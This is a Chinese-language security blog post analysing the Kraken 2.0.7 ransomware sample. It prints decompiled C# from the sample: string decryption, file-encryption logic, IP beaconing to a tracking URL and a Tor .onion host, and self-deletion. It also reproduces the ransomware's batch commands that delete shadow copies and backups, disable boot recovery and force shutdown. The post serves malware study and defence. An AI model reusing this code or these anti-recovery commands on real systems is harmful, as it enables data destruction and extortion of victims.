勒索病毒Kraken2.0.7分析

百家 作者:Chamd5安全团队 2021-05-19 08:37:27

病毒信息

名称:Kraken_2.0.7.exe

病毒类型:勒索病毒

样本链接:https://app.any.run/tasks/32186bb2-60c2-4980-8bf8-4b2742697df4/#

样本md5:bcd2a924ee16f3a2ed4b77d0c09fc3a0

初步分析

根据app.any.run分析,该病毒会穷举进程列表并执行 bat,然后完全加密用户文件(无法通过磁盘回复软件恢复),最后删除自身。

软件运行截图

在虚拟机中解压杀毒软件会报毒

virscan扫描结果

静态分析

exeinfoPE扫描结果如下:

.net程序,通过babel混淆

尝试使用dnspy分析,发现各种变量名都被混淆,所以先de4dot反混淆,再使用dnspy

经过分析,Class22.smethod_0用于解密字符串,解密算法如下

public?string?method_0(string?string_0,?int?int_0)
???{
????int?num?=?string_0.Length;
????char[]?array?=?string_0.ToCharArray();
????while?(--num?>=?0)
????{
?????array[num]?=?(char)((int)array[num]?^?((int)this.byte_0[int_0?&?15]?|?int_0));
????}
????return?new?string(array);
???}

其中byte_0为从清单文件中PRMJ中读取的16个字节

使用 python 语言重写

def?decrypt(s:str,num:int):
????index=[i^ord('d')?for?i?in?bytes('4\u0016\t.',encoding='utf-8')]
????print(bytes(index))
????key=open('PrmJ.bin','rb').read()
????res=""
????for?i?in?range(len(s)):
????????res+=chr(ord(s[i])^(key[num&15]|num))
????print(res)
decrypt('?????',60185)

主函数首先调用Class7.smethod_8Class7.smethod_29,开启了一个线程,运行Class15.method_0,然后调用了Class15.smethod_1方法,最后调用了Class7.smethod_8Class7.smethod_18()

Class7.smethod8

通过http将受害者的 IP 位置信息等发送到https://2no.co/2SVJa5,第一次调用加了Begin:,第二次调用加了End:

Class7.smethod_29

下载core/statistics/polipo和core/statistics/bundle节点下指定的文件,此病毒中分别为Tor浏览器本身和代理

然后设置了Tor代理

将磁盘名称、类型、已用空间、可用空间发到core/statistics/host指定的链接,本例中http://kraken656kn6wyyx.onion/api/%1 (%1替换成磁盘相关信息),如果失败,这个函数总共尝试了 3 次重试

Class15.smethod_0

根据配置文件,对于不同类型的磁盘选择加密或不加密。最后加密了不可见的网络文件。

网络磁盘为例

string[]?logicalDrives?=?Environment.GetLogicalDrives();
????for?(int?i?=?0;?i?<?logicalDrives.Length;?i++)
????{
?????DriveInfo?driveInfo?=?new?DriveInfo(logicalDrives[i]);
?????if?(((driveInfo.IsReady?&&?driveInfo.DriveType?!=?DriveType.CDRom)?||?driveInfo.DriveType?!=?DriveType.Unknown)?&&?GClass2.GClass3.Boolean_10?&&?driveInfo.DriveType?==?DriveType.Network)
?????{
??????GClass8.smethod_7(driveInfo.Name,?byte_0,?byte_1);?//?如果是网络磁盘就加密
?????}
????}

合理猜测GClass8.smethod_7是加密函数

进入之后有两个本地函数,smethod_8?和?smethod_1

smethod_8从这个驱动器根目录开始穷举,如果开启了rapid mode,则对于穷举到的目录就立即加密,否则加入到一个列表中,待所有文件都穷举完毕了,再加密

GClass8.smethod_8(string_0);
???if?(!GClass2.GClass3.Boolean_13)
???{
????GClass8.smethod_1(byte_0,?byte_1);?//?非rapid?mode,对list调用smethod_9进行加密
???}

//...

//?如果采取了rapid?mod,根据文件大小进行细分

if?(GClass8.smethod_5(text))
??????{
???????long?num?=?GClass8.smethod_3(text)?/?1048576L;
???????if?(GClass2.GClass3.Boolean_13)
???????{
????????if?(num?<?10L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?1,?2);
????????}
????????else?if?(num?<?20L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?3,?4);
????????}
????????else?if?(num?<?30L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?5,?6);
????????}
????????else?if?(num?<?40L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?7,?8);
????????}
????????else?if?(num?<?50L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?9,?10);
????????}
????????else?if?(num?<?60L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?11,?12);
????????}
????????else?if?(num?<?70L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?13,?14);
????????}
????????else?if?(num?<?80L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?15,?16);
????????}
????????else?if?(num?<?90L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?17,?18);
????????}
????????else?if?(num?<?100L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?19,?20);
????????}
????????else?if?(num?<?1000L)
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?32,?64);
????????}
????????else
????????{
?????????GClass8.smethod_9(text,?Class2.Class3.Byte_0,?Class2.Class3.Byte_1,?64,?128);
????????}
????????????????????????????????//?如果没采用rapid?mode,则只会分三种清空,而且稍后加密
????????????????????????????????else?if?(num?<?100L)
???????{
????????GClass7.list_0.Add(text);
???????}
???????else?if?(num?<?1000L)
???????{
????????GClass7.list_1.Add(text);
???????}
???????else
???????{
????????GClass7.list_2.Add(text);
???????}

如果文件是个目录,则判断是否是影像系统运行的重要文件目录,如果不是就递归加密

if?(directories?!=?null)
????{
?????foreach?(string?string_?in?directories)
?????{
??????if?(GClass8.smethod_6(string_))
??????{
???????GClass8.smethod_8(string_);
??????}
?????}
????}

后面通过Class7.smethod_16在同一目录下记录相关加密信息。进入加密函数smethod_9

首先判断文件是否存在,然后判断文件所在磁盘空间的可用空间(文件大小会随机增长),然后是文件名长度不超过?256,否则都会加密失败

if?(!File.Exists(string_0))
????{
?????result?=?false;
????}
????else
????{
?????int?num?=?32;
?????int?num2?=?256;
?????int?maxValue?=?int_1?*?1048576;
?????int?num3?=?new?Random().Next(int_0,?maxValue);
?????if?(new?DriveInfo(string_0.Substring(0,?1)?+?Class22.smethod_0("??",?62927)).AvailableFreeSpace?<=?(long)(num3?*?2))
?????{
??????result?=?false;
?????}
?????else?if?(Encoding.UTF8.GetBytes(new?FileInfo(string_0).Name).Length?>?num2)
?????{
??????result?=?false;
?????}

开始加密

  • 生成强随机字符串 Class7.smethod_12
  • rc4 byte0 加密 array array2 = Class4.smethod_1(array, byte_0)
  • 计算 array 的 sha256
  • 使用 byte_1 做 IV,array 做 key,CBC 模式加密文件?Class4.smethod_0?负责加密,然后写回文件
  • 然后为 AES key 创建一个识别码?Class7.smethod_6
  • 将生成的 key 信息附在文件末尾
byte[]?array?=?Class7.smethod_12(32);
??????byte[]?array2?=?Class4.smethod_1(array,?byte_0);
??????byte[]?array3?=?SHA256.Create().ComputeHash(array);
??????byte[]?array4?=?new?byte[num3];
??????byte[]?array5?=?new?byte[32];
??????using?(BinaryReader?binaryReader?=?new?BinaryReader(File.Open(string_0,?FileMode.Open,?FileAccess.Read,?FileShare.None)))
??????{
???????array4?=?binaryReader.ReadBytes(array4.Length);
???????//?前16个字节和后16个字节作为文件识别码
???????Buffer.BlockCopy(array4,?0,?array5,?0,?array5.Length?-?16);
???????Buffer.BlockCopy(array4,?array4.Length?-?16,?array5,?16,?array5.Length?-?16);
???????//?AES算法加密
???????array4?=?Class4.smethod_0(array4,?array,?byte_1);
???????if?(array4?==?null)
???????{
????????return?false;
???????}
???????binaryReader.Close();
??????}
??????using?(BinaryWriter?binaryWriter?=?new?BinaryWriter(File.Open(string_0,?FileMode.Open,?FileAccess.Write,?FileShare.None)))
??????{
???????binaryWriter.Write(array4,?0,?array4.Length);
???????binaryWriter.Close();
??????}

??????byte[]?array6?=?new?byte[num];
??????byte[]?bytes?=?Encoding.UTF8.GetBytes(array4.Length.ToString());
??????Buffer.BlockCopy(bytes,?0,?array6,?0,?bytes.Length);
??????byte[]?array7?=?Class7.smethod_12(32);
??????byte[]?byte_2?=?Class7.smethod_6(byte_0,?byte_1,?1000,?8);
??????byte[]?array8?=?SHA256.Create().ComputeHash(array7);
??????byte[]?array9?=?Class4.smethod_1(array7,?byte_0);
??????//?加密秘钥
??????array6?=?Class4.smethod_3(array6,?array7,?byte_2);
??????array4?=?null;
??????byte[]?array10?=?new?byte[num2];
??????//?加密文件名
??????byte[]?bytes2?=?Encoding.UTF8.GetBytes(new?FileInfo(string_0).Name);
??????Buffer.BlockCopy(bytes2,?0,?array10,?0,?bytes2.Length);
??????byte[]?array11?=?Class7.smethod_12(32);
??????byte[]?byte_3?=?Class7.smethod_6(byte_0,?byte_1,?1000,?8);
??????byte[]?array12?=?SHA256.Create().ComputeHash(array11);
??????byte[]?array13?=?Class4.smethod_1(array11,?byte_0);
??????array10?=?Class4.smethod_3(array10,?array11,?byte_3);
??????byte[]?buffer?=?new?byte[array5.Length?+?array2.Length?+?array3.Length?+?num?+?array9.Length?+?array8.Length?+?num2?+?array13.Length?+?array12.Length];
??????//?加密信息附在文件末尾
??????buffer?=?Class7.smethod_7(new?byte[][]
??????{
???????array5,
???????array2,
???????array3,
???????array6,
???????array9,
???????array8,
???????array10,
???????array13,
???????array12
??????});
??????using?(BinaryWriter?binaryWriter2?=?new?BinaryWriter(File.Open(string_0,?FileMode.Append,?FileAccess.Write,?FileShare.None)))
??????{
???????binaryWriter2.Write(buffer);
??????}
??????//?替换原文件
??????string?arg?=?Class7.smethod_11(16,?true);
??????string?text?=?string.Format(Class22.smethod_0("",?57833),?new?FileInfo(string_0).DirectoryName,?arg,?Class2.Class3.String_1);
??????int?num4?=?0;
??????do
??????{
???????if?(!File.Exists(text))
???????{
????????File.Move(string_0,?text);
???????}
???????if?(num4?>?3)
???????{
????????goto?IL_33C;
???????}
???????num4++;
??????}

Class15.smethod_1

首先解密了一些字符串,是版本之类的信息

string?text?=?"";
????text?+=?Class22.smethod_0("??????????????",?62260);
????text?+=?Class22.smethod_0("?",?59942);
????text?+=?Class22.smethod_0("?",?63282);
????text?+=?GClass2.GClass3.String_1;
????text?+=?Class22.smethod_0("?",?61408);
????text?+=?Environment.NewLine;
????text?+=?Environment.NewLine;

然后获取了语言信息,计算语言识别码

string?a;
????if?(Class2.Class3.String_6?==?Class22.smethod_0("???????",?61908))
????{
?????a?=?installedUICulture.TwoLetterISOLanguageName.ToLower();
????}
????else?if?(installedUICulture.TwoLetterISOLanguageName.ToUpper()?==?Class2.Class3.String_6.ToUpper())
????{
?????a?=?installedUICulture.TwoLetterISOLanguageName.ToLower();
????}
????else
????{
?????a?=?installedUICulture.TwoLetterISOLanguageName.ToLower();
????}
????uint?num?=?Class21.smethod_0(a);

语言识别码计算方式

uint?num;
???if?(string_0?!=?null)
???{
????num?=?2166136261U;
????for?(int?i?=?0;?i?<?string_0.Length;?i++)
????{
?????num?=?((uint)string_0[i]?^?num)?*?16777619U;
????}
???}
???return?num;

然后根据不同的语言,text 后面附上不同的字符串。这些字符串读取自配置文件中的core/wallpaper/language/语言代码节点下的字符串,是 base64 串,根据节点推测存储了壁纸

然后读取一个color,用 text 和 color 制作一个图片(Class7.Class10.smethod_2),再根据Class7.Class11.smethod_0中对于注册表的操作,这里设置了壁纸

text?=?Regex.Replace(text,?Class22.smethod_0("??",?63156),?text2);
??text?=?Regex.Replace(text,?Class22.smethod_0("??",?59617),?GClass2.GClass3.String_14.Replace(Class22.smethod_0("??",?63156),?Class2.Class3.String_1));
??Color?color_?=?ColorTranslator.FromHtml(GClass2.GClass3.GClass5.String_0);
??Image?image_?=?Class7.Class10.smethod_2(text,?color_,?GClass2.GClass3.GClass5.Int32_0);
??if?(GClass2.GClass3.GClass5.Boolean_0)?//?core/wallpaper/change节点
??{
???Class7.Class11.smethod_0(image_,?Class7.Class11.Enum1.const_2);
??}

然后在系统盘所在文件夹创建\ProgramData目录,下载https://download.sysinternals.com/files/SDelete.zip,写入ProgramData\Microsoft.zip,然后对下载的文件进行了校验并解压。

string?text3?=?string.Format(Class22.smethod_0("?????????????????",?60299),?Environment.SystemDirectory.Substring(0,?1));
??if?(!Directory.Exists(text3))
??{
???Directory.CreateDirectory(text3);
??}
??byte[]?array;
??using?(WebClient?webClient?=?new?WebClient())
??{
???array?=?webClient.DownloadData(Class22.smethod_0("???????????????????????????????????????????????????",?61986));
???if?(array?==?null)
???{
????return;
???}
??}
??string?path?=?Path.Combine(text3,?Class22.smethod_0("?????????????",?62087));
??File.WriteAllBytes(path,?array);
??Class16?@class?=?new?Class16(path);
??@class.method_0(text3);
??@class.Dispose();
??File.Delete(path);

判断操作系统版本,删除另一个版本的 sdelete

之后就开始创建批处理文件,提取出如下

:: [Version {0}]

REM [Echo OFF]
@echo off

REM [Microsoft Sysinternals Eula Accepted]
REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"
REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f

REM [Wipe Drives Free Space]

即接受软件相关条款,让软件运行时不再弹出条款提示框。

继续添加脚本内容

: 如果是系统盘执行这条命令
cmd.exe /c {0}sdelete.exe -c -z {1}:{2}
: 如果不是系统盘则会执行下面的命令
cmd.exe /c {0}sdelete.exe -z {1}:{2}

查看相关文档,这两条命令都用于清空磁盘剩余空间

又添加了一些脚本,解密

REM [Start SYSTEM Shutdown Timer]
shutdown /S /F /T {0} /C "{1}"
Unexpected shutdown due to maintenance break.

REM [Disable Safe Boot]
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

REM [Delete Backups]
wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
wmic SHADOWCOPY DELETE
vssadmin delete shadows /All

REM [Delete Temp Files]
del sdelete.exe
del {0}

定时关机、关闭安全启动、删除备份,删除卷影拷贝。可以看到该批处理文件是删除文件后的辅助步骤。

将脚本写入release.bat,创建进程执行。

Class7.smethod_18

删除自身

try
???{
????string?arg?=?string.Concat(new?string[]
????{
?????Class22.smethod_0("",?59126)?+?string.Format(Class22.smethod_0("??????????????????",?62226),?Application.ExecutablePath)
????});
????new?Process
????{
?????StartInfo?=?
?????{
??????FileName?=?Class22.smethod_0("???????",?63259),
??????Arguments?=?string.Format(Class22.smethod_0("",?57658),?arg),
??????WindowStyle?=?ProcessWindowStyle.Hidden
?????}
????}.Start();
????Environment.Exit(int_0);
???}
???catch?(Exception)
???{
???}

防御方法

  • 安装反病毒软件,在线查杀 18 款引擎报毒,虚拟机中解压后安全软件也会报毒
  • 经过搜索发现市面上已经有解密软件,原因是秘钥信息似乎都存储在文件中了= =

总结

由于使用.net语言编写,所以即使经过了混淆,但是没有混淆程序控制流,使用dnspy配合de4dot依然可以解密,程序依然可读,所以逆向过程整体来讲比较顺利。


end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析+AI?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接